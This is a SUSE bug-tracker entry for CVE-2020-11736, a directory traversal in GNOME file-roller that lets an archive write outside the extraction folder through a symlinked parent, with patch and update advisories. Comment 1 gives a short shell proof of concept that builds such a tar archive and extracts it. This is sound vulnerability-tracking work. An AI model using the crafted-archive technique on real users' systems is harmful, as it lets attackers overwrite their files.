Bug 1169428 (CVE-2020-11736)

Summary: VUL-1: CVE-2020-11736: file-roller: directory traversal during extraction due to improper checking whether a file's parent is a symlink to a directory outside of the intended location
Product: [Novell Products] SUSE Security Incidents Reporter: Alexandros Toptsoglou <atoptsoglou>
Component: IncidentsAssignee: Security Team bot <security-team>
Status: NEW --- QA Contact: Security Team bot <security-team>
Severity: Normal    
Priority: P4 - Low CC: mgorse, smash_bz
Version: unspecified   
Target Milestone: ---   
Hardware: Other   
OS: Other   
URL: https://smash.suse.de/issue/257015/
Whiteboard: CVSSv3.1:SUSE:CVE-2020-11736:3.9:(AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L)
Found By: Security Response Team Services Priority:
Business Priority: Blocker: ---
Marketing QA Status: --- IT Deployment: ---

Description Alexandros Toptsoglou 2020-04-14 14:08:52 UTC
CVE-2020-11736

fr-archive-libarchive.c in GNOME file-roller through 3.36.1 allows Directory
Traversal during extraction because it lacks a check of whether a file's parent
is a symlink to a directory outside of the intended extraction location.

References:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-11736
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11736
https://gitlab.gnome.org/GNOME/file-roller/-/commit/21dfcdbfe258984db89fb65243a1a888924e45a0
Comment 1 Alexandros Toptsoglou 2020-04-15 11:15:53 UTC
Tracked as affected SLE12 SLE12-SP2 and SLE15. I successfully reproduced the issue in all the above codestreams. The issue is not reproducible in older codestreams where a warning is thrown.

To reproduce the issue simply do the following:

mkdir /tmp/file-roller-poc  
cd !$
ln -s /tmp Files
tar -cf woops.tar Files
rm Files
mkdir Files
echo Hello World > Files/woops
tar -uvf woops.tar Files/woops
file-roller -h woops.tar
cat /tmp/woops 

If Hello world is printed the issue has been reproduced.
Comment 2 Michael Gorse 2020-05-15 18:25:56 UTC
I'll take this, since I'm already making an update for SLE-15-SP2.
Comment 6 Swamp Workflow Management 2020-05-29 19:16:45 UTC
SUSE-SU-2020:1505-1: An update that fixes one vulnerability is now available.

Category: security (moderate)
Bug References: 1169428
CVE References: CVE-2020-11736
Sources used:
SUSE Linux Enterprise Server 12-SP5 (src):    file-roller-3.20.3-15.6.1
SUSE Linux Enterprise Server 12-SP4 (src):    file-roller-3.20.3-15.6.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 7 Swamp Workflow Management 2020-06-08 13:26:13 UTC
SUSE-SU-2020:1557-1: An update that fixes two vulnerabilities is now available.

Category: security (low)
Bug References: 1151585,1169428
CVE References: CVE-2019-16680,CVE-2020-11736
Sources used:
SUSE Linux Enterprise Module for Desktop Applications 15-SP1 (src):    file-roller-3.26.2-4.5.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 8 Swamp Workflow Management 2020-06-17 22:16:19 UTC
openSUSE-SU-2020:0825-1: An update that fixes two vulnerabilities is now available.

Category: security (low)
Bug References: 1151585,1169428
CVE References: CVE-2019-16680,CVE-2020-11736
Sources used:
openSUSE Leap 15.1 (src):    file-roller-3.26.2-lp151.4.3.1